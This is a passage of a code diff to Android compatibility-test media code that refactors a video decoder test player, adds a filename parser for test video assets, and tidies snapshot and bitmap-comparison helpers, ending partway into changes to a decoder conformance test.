-                        if (decodeStart == 0) {
-                            decodeStart = SystemClock.elapsedRealtime();
-                        }
-                        int sampleSize = extractor.readSampleData(inputBuffer, 0);
-                        if (sampleSize > 0) {
-                            decoder.queueInputBuffer(
-                                    inputBufferIndex, 0, sampleSize, extractor.getSampleTime(), 0);
-                            extractor.advance();
-                        }
-                    }
-                    int decoderStatus = decoder.dequeueOutputBuffer(info, DEQUEUE_TIMEOUT_US);
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    queueDecoderInputBuffer();
+                } catch (IllegalStateException exception) {
+                    Log.e(TAG, "IllegalStateException in queueDecoderInputBuffer", exception);
+                    break;
+                }
+                try {
+                    final int outputResult = dequeueDecoderOutputBuffer();
+                    if (outputResult == SimplePlayer.END_OF_STREAM) {
                         break;
                     }
-                    if (decoderStatus >= 0 && info.size > 0) {
-                        decoder.releaseOutputBuffer(decoderStatus, renderToSurface);
+                    if (outputResult == SimplePlayer.DEQUEUE_SUCCESS) {
+                        if (firstOutputTimeMs == 0) {
+                            firstOutputTimeMs = SystemClock.elapsedRealtime();
+                        }
+                        if (msPerFrameCap > 0) {
+                            // Slow down if cap is set and not reached.
+                            final long delayMs =
+                                    msPerFrameCap - (SystemClock.elapsedRealtime() - lastFrameAt);
+                            if (lastFrameAt != 0 && delayMs > 0) {
+                                final long threadDelayMs = 3; // In case of delay in thread.
+                                if (delayMs > threadDelayMs) {
+                                    try {
+                                        Thread.sleep(delayMs - threadDelayMs);
+                                    } catch (InterruptedException ex) { /* */}
+                                }
+                                while (SystemClock.elapsedRealtime() - lastFrameAt
+                                        < msPerFrameCap) { /* */ }
+                            }
+                            lastFrameAt = SystemClock.elapsedRealtime();
+                        }
                         numOfDecodedFrames++;
                     }
                 } catch (IllegalStateException exception) {
-                    Log.e(TAG, "IllegalStateException in decodeFramesAndDisplay", exception);
-                    break;
+                    Log.e(TAG, "IllegalStateException in dequeueDecoderOutputBuffer", exception);
                 }
             }
-            long totalTime = SystemClock.elapsedRealtime() - decodeStart;
-            Log.i(TAG, "Finishing decoding.");
+            final long totalTime = SystemClock.elapsedRealtime() - firstOutputTimeMs;
             return new PlayerResult(true, true, numOfTotalFrames == numOfDecodedFrames, totalTime);
         }
 
+        /**
+         * Queues the input buffer with the media file one buffer at a time.
+         *
+         * @return true if success, fail otherwise.
+         */
+        private boolean queueDecoderInputBuffer() {
+            ByteBuffer inputBuffer;
+            final ByteBuffer[] inputBufferArray = decoder.getInputBuffers();
+            final int inputBufferIndex = decoder.dequeueInputBuffer(DEQUEUE_TIMEOUT_US);
+            if (inputBufferIndex >= 0) {
+                if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP)) {
+                    inputBuffer = inputBufferArray[inputBufferIndex];
+                } else {
+                    inputBuffer = decoder.getInputBuffer(inputBufferIndex);
+                }
+                final int sampleSize = extractor.readSampleData(inputBuffer, 0);
+                if (sampleSize > 0) {
+                    decoder.queueInputBuffer(
+                            inputBufferIndex, 0, sampleSize, extractor.getSampleTime(), 0);
+                    extractor.advance();
+                }
+                return true;
+            }
+            return false;
+        }
+
+        /**
+         * Dequeues the output buffer.
+         * For video decoder, renders to surface if provided.
+         * For audio decoder, gets the bytes from the output buffer.
+         *
+         * @return an integer indicating its status (fail, success, or end of stream).
+         */
+        private int dequeueDecoderOutputBuffer() {
+            final BufferInfo info = new BufferInfo();
+            final int decoderStatus = decoder.dequeueOutputBuffer(info, DEQUEUE_TIMEOUT_US);
+            if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                return END_OF_STREAM;
+            }
+            if (decoderStatus >= 0) {
+                // For JELLY_BEAN_MR2- devices, when rendering to a surface,
+                // info.size seems to always return 0 even if
+                // the decoder successfully decoded the frame.
+                if (info.size <= 0 && ApiLevelUtil.isAtLeast(Build.VERSION_CODES.JELLY_BEAN_MR2)) {
+                    return DEQUEUE_FAIL;
+                }
+                if (!renderToSurface) {
+                    ByteBuffer outputBuffer;
+                    if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP)) {
+                        outputBuffer = decoder.getOutputBuffers()[decoderStatus];
+                    } else {
+                        outputBuffer = decoder.getOutputBuffer(decoderStatus);
+                    }
+                    outputBytes = new byte[info.size];
+                    outputBuffer.get(outputBytes);
+                    outputBuffer.clear();
+                }
+                decoder.releaseOutputBuffer(decoderStatus, renderToSurface);
+                return DEQUEUE_SUCCESS;
+            }
+            return DEQUEUE_FAIL;
+        }
+
         private void release() {
             decoderRelease();
             extractorRelease();
         }
 
         private boolean setExtractorDataSource(VideoFormat videoFormat) {
+            checkNotNull(videoFormat);
             try {
-                extractor.setDataSource(context, videoFormat.loadUri(context), null);
+                final AssetFileDescriptor afd = videoFormat.getAssetFileDescriptor(context);
+                extractor.setDataSource(
+                        afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+                afd.close();
             } catch (IOException exception) {
                 Log.e(TAG, "IOException in setDataSource", exception);
                 return false;
@@ -252,20 +371,50 @@
             return true;
         }
 
+        /**
+         * Creates a decoder based on conditions.
+         *
+         * <p>If codec name is provided, {@link MediaCodec#createByCodecName(String)} is used.
+         * If codec name is not provided, {@link MediaCodecList#findDecoderForFormat(MediaFormat)}
+         * is preferred on LOLLIPOP and up for finding out the codec name that
+         * supports the media format.
+         * For OS older than LOLLIPOP, {@link MediaCodec#createDecoderByType(String)} is used.
+         */
+        private boolean createDecoder(MediaFormat mediaFormat) {
+            try {
+                if (codecName != null) {
+                    decoder = MediaCodec.createByCodecName(codecName);
+                } else if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.LOLLIPOP)) {
+                    if (Build.VERSION.SDK_INT == Build.VERSION_CODES.LOLLIPOP) {
+                        // On LOLLIPOP, format must not contain a frame rate.
+                        mediaFormat.setString(MediaFormat.KEY_FRAME_RATE, null);
+                    }
+                    if (mediaCodecList == null) {
+                        mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+                    }
+                    decoder = MediaCodec.createByCodecName(
+                            mediaCodecList.findDecoderForFormat(mediaFormat));
+                } else {
+                    decoder = MediaCodec.createDecoderByType(
+                            mediaFormat.getString(MediaFormat.KEY_MIME));
+                }
+            } catch (Exception exception) {
+                Log.e(TAG, "Exception during decoder creation", exception);
+                decoderRelease();
+                return false;
+            }
+            return true;
+        }
+
         private boolean configureDecoder(Surface surface, MediaFormat mediaFormat) {
             try {
-                decoder = MediaCodec.createDecoderByType(
-                        mediaFormat.getString(MediaFormat.KEY_MIME));
                 decoder.configure(mediaFormat, surface, null, 0);
             } catch (Exception exception) {
-                if (exception instanceof IOException) {
-                    Log.e(TAG, "IOException in createDecoderByType", exception);
-                } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
-                        && exception instanceof CodecException) {
-                    Log.e(TAG, "CodecException in createDecoderByType", exception);
+                Log.e(TAG, "Exception during decoder configuration", exception);
+                try {
                     decoder.reset();
-                } else {
-                    Log.e(TAG, "Unknown exception in createDecoderByType", exception);
+                } catch (Exception resetException) {
+                    Log.e(TAG, "Exception during decoder reset", resetException);
                 }
                 decoderRelease();
                 return false;
@@ -273,19 +422,16 @@
             return true;
         }
 
+        private void setRenderToSurface(boolean render) {
+            this.renderToSurface = render;
+        }
+
         private boolean startDecoder() {
             try {
                 decoder.start();
             } catch (Exception exception) {
-                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
-                        && exception instanceof CodecException) {
-                    Log.e(TAG, "CodecException in startDecoder", exception);
-                    decoder.reset();
-                } else if (exception instanceof IllegalStateException) {
-                    Log.e(TAG, "IllegalStateException in startDecoder", exception);
-                } else {
-                    Log.e(TAG, "Unknown exception in startDecoder", exception);
-                }
+                Log.e(TAG, "Exception during decoder start", exception);
+                decoder.reset();
                 decoderRelease();
                 return false;
             }
@@ -299,16 +445,17 @@
             try {
                 decoder.stop();
             } catch (IllegalStateException exception) {
+                decoder.reset();
                 // IllegalStateException happens when decoder fail to start.
-                Log.e(TAG, "IllegalStateException in decoder stop", exception);
+                Log.e(TAG, "IllegalStateException during decoder stop", exception);
             } finally {
                 try {
                     decoder.release();
                 } catch (IllegalStateException exception) {
-                    Log.e(TAG, "IllegalStateException in decoder release", exception);
+                    Log.e(TAG, "IllegalStateException during decoder release", exception);
                 }
+                decoder = null;
             }
-            decoder = null;
         }
 
         private void extractorRelease() {
@@ -318,11 +465,11 @@
             try {
                 extractor.release();
             } catch (IllegalStateException exception) {
-                Log.e(TAG, "IllegalStateException in extractor release", exception);
+                Log.e(TAG, "IllegalStateException during extractor release", exception);
             }
         }
 
-        private static void configureFormat(MediaFormat mediaFormat, VideoFormat videoFormat) {
+        private static void configureVideoFormat(MediaFormat mediaFormat, VideoFormat videoFormat) {
             checkNotNull(mediaFormat);
             checkNotNull(videoFormat);
             videoFormat.setMimeType(mediaFormat.getString(MediaFormat.KEY_MIME));
@@ -330,32 +477,33 @@
             videoFormat.setHeight(mediaFormat.getInteger(MediaFormat.KEY_HEIGHT));
             mediaFormat.setInteger(MediaFormat.KEY_WIDTH, videoFormat.getWidth());
             mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, videoFormat.getHeight());
-
-            if (videoFormat.getMaxWidth() != VideoFormat.UNSET
-                    && videoFormat.getMaxHeight() != VideoFormat.UNSET) {
+            if (ApiLevelUtil.isBefore(Build.VERSION_CODES.KITKAT)) {
+                return;
+            }
+            if (videoFormat.getMaxWidth() != VideoFormat.INT_UNSET
+                && videoFormat.getMaxHeight() != VideoFormat.INT_UNSET) {
                 mediaFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, videoFormat.getMaxWidth());
                 mediaFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, videoFormat.getMaxHeight());
             }
         }
 
-        /*
-         * The function returns the first video track found.
-         *
-         * @param extractor is the media extractor instantiated with a video uri.
-         * @return the index of the first video track if found, NO_TRACK_INDEX otherwise.
+        /**
+         * The function returns the first track found based on the media type.
          */
-        private static int getFirstVideoTrackIndex(MediaExtractor extractor) {
+        private int getFirstTrackIndexByType(String format) {
             for (int i = 0; i < extractor.getTrackCount(); i++) {
                 MediaFormat trackMediaFormat = extractor.getTrackFormat(i);
-                if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(format + "/")) {
                     return i;
                 }
             }
-            Log.e(TAG, "couldn't get a video track");
+            Log.e(TAG, "couldn't get a " + format + " track");
             return NO_TRACK_INDEX;
         }
 
-        /* Stores the result from SimplePlayer. */
+        /**
+         * Stores the result from SimplePlayer.
+         */
         public static final class PlayerResult {
 
             public static final int UNSET = -1;
@@ -387,31 +535,30 @@
                 return new PlayerResult(true, false, false, UNSET);
             }
 
+            public String getFailureMessage() {
+                if (!configureSuccess) {
+                    return "Failed to configure decoder.";
+                } else if (!startSuccess) {
+                    return "Failed to start decoder.";
+                } else if (!decodeSuccess) {
+                    return "Failed to decode the expected number of frames.";
+                } else {
+                    return "Failed to finish decoding.";
+                }
+            }
+
             public boolean isConfigureSuccess() {
                 return configureSuccess;
             }
 
-            public boolean isStartSuccess() {
-                return startSuccess;
-            }
-
-            public boolean isDecodeSuccess() {
-                return decodeSuccess;
-            }
-
             public boolean isSuccess() {
-                return isConfigureSuccess() && isStartSuccess()
-                        && isDecodeSuccess() && getTotalTime() != UNSET;
+                return configureSuccess && startSuccess && decodeSuccess && getTotalTime() != UNSET;
             }
 
             public long getTotalTime() {
                 return totalTime;
             }
 
-            public boolean isFailureForAll() {
-                return (!isConfigureSuccess() && !isStartSuccess()
-                        && !isDecodeSuccess() && getTotalTime() == UNSET);
-            }
         }
 
     }
@@ -419,6 +566,8 @@
     /* Utility class for collecting common test case functionality. */
     class TestHelper {
 
+        private final String TAG =  TestHelper.class.getSimpleName();
+
         private final Context context;
         private final Handler handler;
         private final Activity activity;
@@ -473,13 +622,21 @@
         }
 
         public synchronized Bitmap generateBitmapFromVideoViewSnapshot(VideoViewSnapshot snapshot) {
+            final long timeOutMs = TimeUnit.SECONDS.toMillis(30);
+            final long start = SystemClock.elapsedRealtime();
             handler.post(snapshot);
             try {
-                while (!snapshot.isBitmapReady()) {
+                while (!snapshot.isBitmapReady()
+                        && (SystemClock.elapsedRealtime() - start < timeOutMs)) {
                     Thread.sleep(100);
                 }
             } catch (InterruptedException e) {
                 e.printStackTrace();
+                return null;
+            }
+            if (!snapshot.isBitmapReady()) {
+                Log.e(TAG, "Time out in generateBitmapFromVideoViewSnapshot().");
+                return null;
             }
             return snapshot.getBitmap();
         }
@@ -703,7 +860,7 @@
 
     @Override
     public Surface getSurface() {
-        return surfaceHolder.getSurface();
+        return surfaceHolder == null ? null : surfaceHolder.getSurface();
     }
 
     @Override
@@ -817,11 +974,11 @@
         private float[] textureTransform = new float[16];
 
         private float[] triangleVerticesData = {
-                // X, Y, Z, U, V
-                -1f, -1f,  0f,  0f,  1f,
-                 1f, -1f,  0f,  1f,  1f,
-                -1f,  1f,  0f,  0f,  0f,
-                 1f,  1f,  0f,  1f,  0f,
+            // X, Y, Z, U, V
+            -1f, -1f,  0f,  0f,  1f,
+             1f, -1f,  0f,  1f,  1f,
+            -1f,  1f,  0f,  0f,  0f,
+             1f,  1f,  0f,  1f,  0f,
         };
         // Make the top-left corner corresponds to texture coordinate
         // (0, 0). This complies with the transformation matrix obtained from
@@ -858,15 +1015,17 @@
         private Surface surface = null;
         private SurfaceTexture surfaceTexture;
         private ByteBuffer byteBuffer;
+        private Looper looper;
 
         public GLSurfaceViewThread() {}
 
         @Override
         public void run() {
             Looper.prepare();
+            looper = Looper.myLooper();
             triangleVertices = ByteBuffer
                     .allocateDirect(triangleVerticesData.length * FLOAT_SIZE_BYTES)
-                            .order(ByteOrder.nativeOrder()).asFloatBuffer();
+                    .order(ByteOrder.nativeOrder()).asFloatBuffer();
             triangleVertices.put(triangleVerticesData).position(0);
 
             eglSetup();
@@ -908,13 +1067,13 @@
             }
             // Configure EGL for pbuffer and OpenGL ES 2.0, 24-bit RGB.
             int[] configAttribs = {
-                    EGL10.EGL_RED_SIZE, 8,
-                    EGL10.EGL_GREEN_SIZE, 8,
-                    EGL10.EGL_BLUE_SIZE, 8,
-                    EGL10.EGL_ALPHA_SIZE, 8,
-                    EGL10.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
-                    EGL10.EGL_SURFACE_TYPE, EGL10.EGL_PBUFFER_BIT,
-                    EGL10.EGL_NONE
+                EGL10.EGL_RED_SIZE, 8,
+                EGL10.EGL_GREEN_SIZE, 8,
+                EGL10.EGL_BLUE_SIZE, 8,
+                EGL10.EGL_ALPHA_SIZE, 8,
+                EGL10.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
+                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_PBUFFER_BIT,
+                EGL10.EGL_NONE
             };
             EGLConfig[] configs = new EGLConfig[1];
             int[] numConfigs = new int[1];
@@ -924,8 +1083,8 @@
             }
             // Configure EGL context for OpenGL ES 2.0.
             int[] contextAttribs = {
-                    EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
-                    EGL10.EGL_NONE
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL10.EGL_NONE
             };
             eglContext = egl10.eglCreateContext(
                     eglDisplay, configs[0], EGL10.EGL_NO_CONTEXT, contextAttribs);
@@ -935,9 +1094,9 @@
             }
             // Create a pbuffer surface.
             int[] surfaceAttribs = {
-                    EGL10.EGL_WIDTH, VIEW_WIDTH,
-                    EGL10.EGL_HEIGHT, VIEW_HEIGHT,
-                    EGL10.EGL_NONE
+                EGL10.EGL_WIDTH, VIEW_WIDTH,
+                EGL10.EGL_HEIGHT, VIEW_HEIGHT,
+                EGL10.EGL_NONE
             };
             eglSurface = egl10.eglCreatePbufferSurface(eglDisplay, configs[0], surfaceAttribs);
             checkEglError("eglCreatePbufferSurface");
@@ -947,6 +1106,7 @@
         }
 
         public void release() {
+            looper.quit();
             if (eglDisplay != EGL10.EGL_NO_DISPLAY) {
                 egl10.eglMakeCurrent(eglDisplay,
                         EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_CONTEXT);
@@ -959,6 +1119,8 @@
             eglSurface = EGL10.EGL_NO_SURFACE;
             surface.release();
             surfaceTexture.release();
+            byteBufferIsReady = false;
+            byteBuffer =  null;
         }
 
         /* Makes our EGL context and surface current. */
@@ -1022,8 +1184,7 @@
             GLES20.glEnableVertexAttribArray(aTextureHandle);
             checkGlError("glEnableVertexAttribArray aTextureHandle");
 
-            GLES20.glUniformMatrix4fv(uTextureTransformHandle, 1, false,
-                    textureTransform, 0);
+            GLES20.glUniformMatrix4fv(uTextureTransformHandle, 1, false, textureTransform, 0);
             checkGlError("glUniformMatrix uTextureTransformHandle");
 
             GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
@@ -1166,31 +1327,28 @@
 
     private static final String TAG = SurfaceViewSnapshot.class.getSimpleName();
     private static final int PIXELCOPY_REQUEST_SLEEP_MS = 30;
-    private static final int PIXELCOPY_REQUEST_MAX_ATTEMPTS = 20;
     private static final int PIXELCOPY_TIMEOUT_MS = 1000;
 
-    private final Thread copyThread;
+    private Thread copyThread;
+    private SynchronousPixelCopy copyHelper;
     private Bitmap bitmap;
     private int copyResult;
 
     public SurfaceViewSnapshot(final SurfaceView surfaceView, final int width, final int height) {
-        this.copyResult = -1;
         this.copyThread = new Thread(new Runnable() {
             @Override
             public void run() {
-                SynchronousPixelCopy copyHelper = new SynchronousPixelCopy();
+                copyHelper = new SynchronousPixelCopy();
                 bitmap = Bitmap.createBitmap(width, height, Config.ARGB_8888);
                 try {
                     // Wait for SurfaceView to be available.
-                    for (int i = 0; i < PIXELCOPY_REQUEST_MAX_ATTEMPTS; i++) {
-                        copyResult = copyHelper.request(surfaceView, bitmap);
-                        if (copyResult == PixelCopy.SUCCESS) {
-                            break;
-                        }
+                    while ((copyResult = copyHelper.request(surfaceView, bitmap))
+                            != PixelCopy.SUCCESS) {
                         Thread.sleep(PIXELCOPY_REQUEST_SLEEP_MS);
                     }
                 } catch (InterruptedException e) {
-                    Log.w(TAG, "Pixel Copy is stopped/interrupted before it finishes.", e);
+                    Log.e(TAG, "Pixel Copy is stopped/interrupted before it finishes.", e);
+                    bitmap = null;
                 }
                 copyHelper.release();
             }
@@ -1215,6 +1373,12 @@
         if (copyThread.isAlive()) {
             copyThread.interrupt();
         }
+        copyThread = null;
+        if (copyHelper != null) {
+            copyHelper.release();
+            copyHelper = null;
+        }
+        bitmap = null;
     }
 
     private static class SynchronousPixelCopy implements OnPixelCopyFinishedListener {
@@ -1231,7 +1395,9 @@
         }
 
         public void release() {
-            thread.quit();
+            if (thread.isAlive()) {
+                thread.quit();
+            }
         }
 
         public int request(SurfaceView source, Bitmap dest) {
@@ -1274,7 +1440,7 @@
 
     private static final String TAG = GLSurfaceViewSnapshot.class.getSimpleName();
     private static final int GET_BYTEBUFFER_SLEEP_MS = 30;
-    private static final int GET_BYTEBUFFER_MAX_ATTEMPTS = 20;
+    private static final int GET_BYTEBUFFER_MAX_ATTEMPTS = 30;
 
     private final GLSurfaceViewFactory glSurfaceViewFactory;
     private final int width;
@@ -1293,16 +1459,22 @@
     public synchronized void run() {
         try {
             waitForByteBuffer();
-        } catch (InterruptedException e) {
-            Log.w(TAG, e.getMessage());
-            Log.w(TAG, "ByteBuffer may contain incorrect pixels.");
+        } catch (InterruptedException exception) {
+            Log.e(TAG, exception.getMessage());
+            bitmap = null;
+            return;
         }
-        // Get ByteBuffer anyway. Let the test fail if ByteBuffer contains incorrect pixels.
-        ByteBuffer byteBuffer = glSurfaceViewFactory.getByteBuffer();
-        bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        byteBuffer.rewind();
-        bitmap.copyPixelsFromBuffer(byteBuffer);
-        bitmapIsReady = true;
+        try {
+            final ByteBuffer byteBuffer = glSurfaceViewFactory.getByteBuffer();
+            bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+            byteBuffer.rewind();
+            bitmap.copyPixelsFromBuffer(byteBuffer);
+            bitmapIsReady = true;
+            byteBuffer.clear();
+        } catch (NullPointerException exception) {
+            Log.e(TAG, "glSurfaceViewFactory or byteBuffer may have been released", exception);
+            bitmap = null;
+        }
     }
 
     @Override
@@ -1328,50 +1500,38 @@
 
 }
 
-/* Stores information of a video. */
+/* Stores information of a video file. */
 class VideoFormat {
 
-    public static final int UNSET = -1;
-    public static final String MIMETYPE_UNSET = "UNSET";
-    public static final String MIMETYPE_KEY = "mimeType";
-    public static final String WIDTH_KEY = "width";
-    public static final String HEIGHT_KEY = "height";
-    public static final String FRAMERATE_KEY = "frameRate";
+    public static final String STRING_UNSET = "UNSET";
+    public static final int INT_UNSET = -1;
 
     private final String filename;
-    private Uri uri;
-    private String mimeType = MIMETYPE_UNSET;
-    private int width = UNSET;
-    private int height = UNSET;
-    private int maxWidth = UNSET;
-    private int maxHeight = UNSET;
-    private int originalWidth = UNSET;
-    private int originalHeight = UNSET;
 
-    public VideoFormat(String filename, Uri uri) {
-        this.filename = filename;
-        this.uri = uri;
-    }
+    private String mimeType = STRING_UNSET;
+    private int width = INT_UNSET;
+    private int height = INT_UNSET;
+    private int maxWidth = INT_UNSET;
+    private int maxHeight = INT_UNSET;
+    private FilenameParser filenameParser;
 
     public VideoFormat(String filename) {
-        this(filename, null);
+        this.filename = filename;
     }
 
     public VideoFormat(VideoFormat videoFormat) {
-        this(videoFormat.filename, videoFormat.uri);
+        this(videoFormat.filename);
     }
 
-    public Uri loadUri(Context context) {
-        uri = createCacheFile(context);
-        return uri;
+    private FilenameParser getParsedName() {
+        if (filenameParser == null) {
+            filenameParser = new FilenameParser(filename);
+        }
+        return filenameParser;
     }
 
-    public Uri getUri() {
-        return uri;
-    }
-
-    public String getFilename() {
-        return filename;
+    public String getMediaFormat() {
+        return "video";
     }
 
     public void setMimeType(String mimeType) {
@@ -1379,14 +1539,14 @@
     }
 
     public String getMimeType() {
+        if (mimeType.equals(STRING_UNSET)) {
+            return getParsedName().getMimeType();
+        }
         return mimeType;
     }
 
     public void setWidth(int width) {
         this.width = width;
-        if (this.originalWidth == UNSET) {
-            this.originalWidth = width;
-        }
     }
 
     public void setMaxWidth(int maxWidth) {
@@ -1394,6 +1554,9 @@
     }
 
     public int getWidth() {
+        if (width == INT_UNSET) {
+            return getParsedName().getWidth();
+        }
         return width;
     }
 
@@ -1402,14 +1565,11 @@
     }
 
     public int getOriginalWidth() {
-        return originalWidth;
+        return getParsedName().getWidth();
     }
 
     public void setHeight(int height) {
         this.height = height;
-        if (this.originalHeight == UNSET) {
-            this.originalHeight = height;
-        }
     }
 
     public void setMaxHeight(int maxHeight) {
@@ -1417,6 +1577,9 @@
     }
 
     public int getHeight() {
+        if (height == INT_UNSET) {
+            return getParsedName().getHeight();
+        }
         return height;
     }
 
@@ -1425,28 +1588,28 @@
     }
 
     public int getOriginalHeight() {
-        return originalHeight;
+        return getParsedName().getHeight();
     }
 
-    private Uri createCacheFile(Context context) {
-        try {
-            File cacheFile = new File(context.getCacheDir(), filename);
-            if (cacheFile.createNewFile() == false) {
-                cacheFile.delete();
-                cacheFile.createNewFile();
-            }
-            InputStream inputStream = context.getAssets().open(filename);
-            FileOutputStream fileOutputStream = new FileOutputStream(cacheFile);
-            final int bufferSize = 1024 * 512;
-            byte[] buffer = new byte[bufferSize];
+    public String getOriginalSize() {
+        if (width == INT_UNSET || height == INT_UNSET) {
+            return getParsedName().getSize();
+        }
+        return width + "x" + height;
+    }
 
-            while (inputStream.read(buffer) != -1) {
-                fileOutputStream.write(buffer, 0, bufferSize);
-            }
-            fileOutputStream.close();
-            inputStream.close();
-            return Uri.fromFile(cacheFile);
-        } catch (IOException e) {
+    public String getDescription() {
+        return getParsedName().getDescription();
+    }
+
+    public String toPrettyString() {
+        return getParsedName().toPrettyString();
+    }
+
+    public AssetFileDescriptor getAssetFileDescriptor(Context context) {
+        try {
+            return context.getAssets().openFd(filename);
+        } catch (Exception e) {
             e.printStackTrace();
             return null;
         }
@@ -1454,6 +1617,77 @@
 
 }
 
+/* File parser for filenames with format of {description}-{mimeType}_{size}_{framerate}.{format} */
+class FilenameParser {
+
+    static final String VP9 = "vp9";
+    static final String H264 = "h264";
+
+    private final String filename;
+
+    private String codec = VideoFormat.STRING_UNSET;
+    private String description = VideoFormat.STRING_UNSET;
+    private int width = VideoFormat.INT_UNSET;
+    private int height = VideoFormat.INT_UNSET;
+
+    FilenameParser(String filename) {
+        this.filename = filename;
+        parseFilename(filename);
+    }
+
+    public String getCodec() {
+        return codec;
+    }
+
+    public String getMimeType() {
+        switch (codec) {
+            case H264:
+                return MimeTypes.VIDEO_H264;
+            case VP9:
+                return MimeTypes.VIDEO_VP9;
+            default:
+                return null;
+        }
+    }
+
+    public int getWidth() {
+        return width;
+    }
+
+    public int getHeight() {
+        return height;
+    }
+
+    public String getSize() {
+        return width + "x" + height;
+    }
+
+    public String getDescription() {
+        return description;
+    }
+
+    String toPrettyString() {
+        if (codec != null) {
+            return codec.toUpperCase() + " " + getSize();
+        }
+        return filename;
+    }
+
+    private void parseFilename(String filename) {
+        final String descriptionDelimiter = "-";
+        final String infoDelimiter = "_";
+        final String sizeDelimiter = "x";
+        try {
+            this.description = filename.split(descriptionDelimiter)[0];
+            final String[] fileInfo = filename.split(descriptionDelimiter)[1].split(infoDelimiter);
+            this.codec = fileInfo[0];
+            this.width = Integer.parseInt(fileInfo[1].split(sizeDelimiter)[0]);
+            this.height = Integer.parseInt(fileInfo[1].split(sizeDelimiter)[1]);
+        } catch (Exception exception) { /* Filename format does not match. */ }
+    }
+
+}
+
 /**
  * Compares bitmaps to determine if they are similar.
  *
@@ -1469,8 +1703,6 @@
     private static final int Y = 1;
     private static final int Z = 2;
 
-    private static SparseArray<double[]> pixelTransformCache = new SparseArray<>();
-
     private BitmapCompare() {}
 
     /**
@@ -1480,15 +1712,14 @@
      * @param bitmap2 A bitmap to compare to bitmap1.
      * @return A {@link Difference} with an integer describing the greatest pixel difference,
      *     using {@link Integer#MAX_VALUE} for completely different bitmaps, and an optional
-     *     {@link Pair<Integer, Integer>} of the (col, row) pixel coordinate
-     *     where it was first found.
+     *     {@link Pair<Integer, Integer>} of the (col, row) pixel coordinate where it was first found.
      */
     @TargetApi(12)
     public static Difference computeDifference(Bitmap bitmap1, Bitmap bitmap2) {
-        if ((bitmap1 == null || bitmap2 == null) && bitmap1 != bitmap2) {
+        if (bitmap1 == null || bitmap2 == null) {
             return new Difference(Integer.MAX_VALUE);
         }
-        if (bitmap1 == bitmap2 || bitmap1.sameAs(bitmap2)) {
+        if (bitmap1.equals(bitmap2) || bitmap1.sameAs(bitmap2)) {
             return new Difference(0);
         }
         if (bitmap1.getHeight() != bitmap2.getHeight() || bitmap1.getWidth() != bitmap2.getWidth()) {
@@ -1512,9 +1743,11 @@
             greatestDifferenceIndex / bitmap1.getHeight()));
     }
 
+    @SuppressLint("UseSparseArrays")
     private static double[][] convertRgbToCieLab(Bitmap bitmap) {
+        final HashMap<Integer, double[]> pixelTransformCache = new HashMap<>();
         final double[][] result = new double[bitmap.getHeight() * bitmap.getWidth()][3];
-        final int pixels[] = new int[bitmap.getHeight() * bitmap.getWidth()];
+        final int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
         bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
         for (int i = 0; i < pixels.length; i++) {
             final double[] transformedColor = pixelTransformCache.get(pixels[i]);
@@ -1559,7 +1792,6 @@
      */
     private static double[] convertRgbToXyz(int rgbColor) {
         final double[] comp = {Color.red(rgbColor), Color.green(rgbColor), Color.blue(rgbColor)};
-
         for (int i = 0; i < comp.length; i++) {
             comp[i] /= 255.0;
             if (comp[i] > 0.04045) {
@@ -1605,7 +1837,6 @@
         comp[X] /= 95.047;
         comp[Y] /= 100.0;
         comp[Z] /= 108.883;
-
         for (int i = 0; i < comp.length; i++) {
             if (comp[i] > 0.008856) {
                 comp[i] = Math.pow(comp[i], (1.0 / 3.0));
@@ -1790,7 +2021,7 @@
             this.greatestPixelDifference = greatestPixelDifference;
             this.greatestPixelDifferenceCoordinates = greatestPixelDifferenceCoordinates;
             this.bestMatchBorderCrop = bestMatchBorderCrop;
-       }
+        }
     }
 
 }
diff --git a/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java b/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
index 5600312..50a2011 100644
--- a/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
@@ -21,9 +21,6 @@
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.MediaUtils;
-import android.media.cts.CodecUtils;
-import android.media.Image;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaExtractor;
@@ -32,15 +29,14 @@
 import android.util.Range;
 
 import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.MediaUtils;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.Stat;
 
 import java.io.BufferedReader;
-import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
-import java.nio.ByteBuffer;
 import java.util.Arrays;
 import java.util.ArrayList;
 import java.util.List;
@@ -115,7 +111,7 @@
         return readResourceLines(md5FileName);
     }
 
-    private void releaseMediacodec() {
